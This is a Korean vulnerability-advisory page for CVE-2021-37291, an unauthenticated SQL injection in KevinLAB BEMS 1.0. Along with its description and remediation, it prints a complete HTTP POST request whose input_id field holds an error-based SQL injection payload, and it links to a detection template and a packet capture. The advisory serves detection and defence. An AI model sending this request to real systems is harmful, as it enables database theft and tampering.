🔙 목록으로 돌아가기

CVE-2021-37291: KevinLAB BEMS 1.0 - SQL Injection

TitleKevinLAB BEMS 1.0 - SQL Injection
Authorgy741
SeverityCritical
ImpactUnauthenticated attackers can exploit SQL injection in the input_id parameter to extract sensitive database contents, modify data, and execute unauthorized administrative operations.
RemediationUpgrade to KevinLAB BEMS version 1.0.1 or later that addresses the SQL injection vulnerability.
CVSS Score9.8
EPSS Score0.60436
CVE IDCVE-2021-37291
CWE IDCWE-89
Tags cve cve2021 kevinlab sqli edb packetstorm vkev vuln

🔍 Vulnerability Description

KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /http/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Connection: close
Content-Length: 353
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

requester=login&request=login&params=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37291.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-37291.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A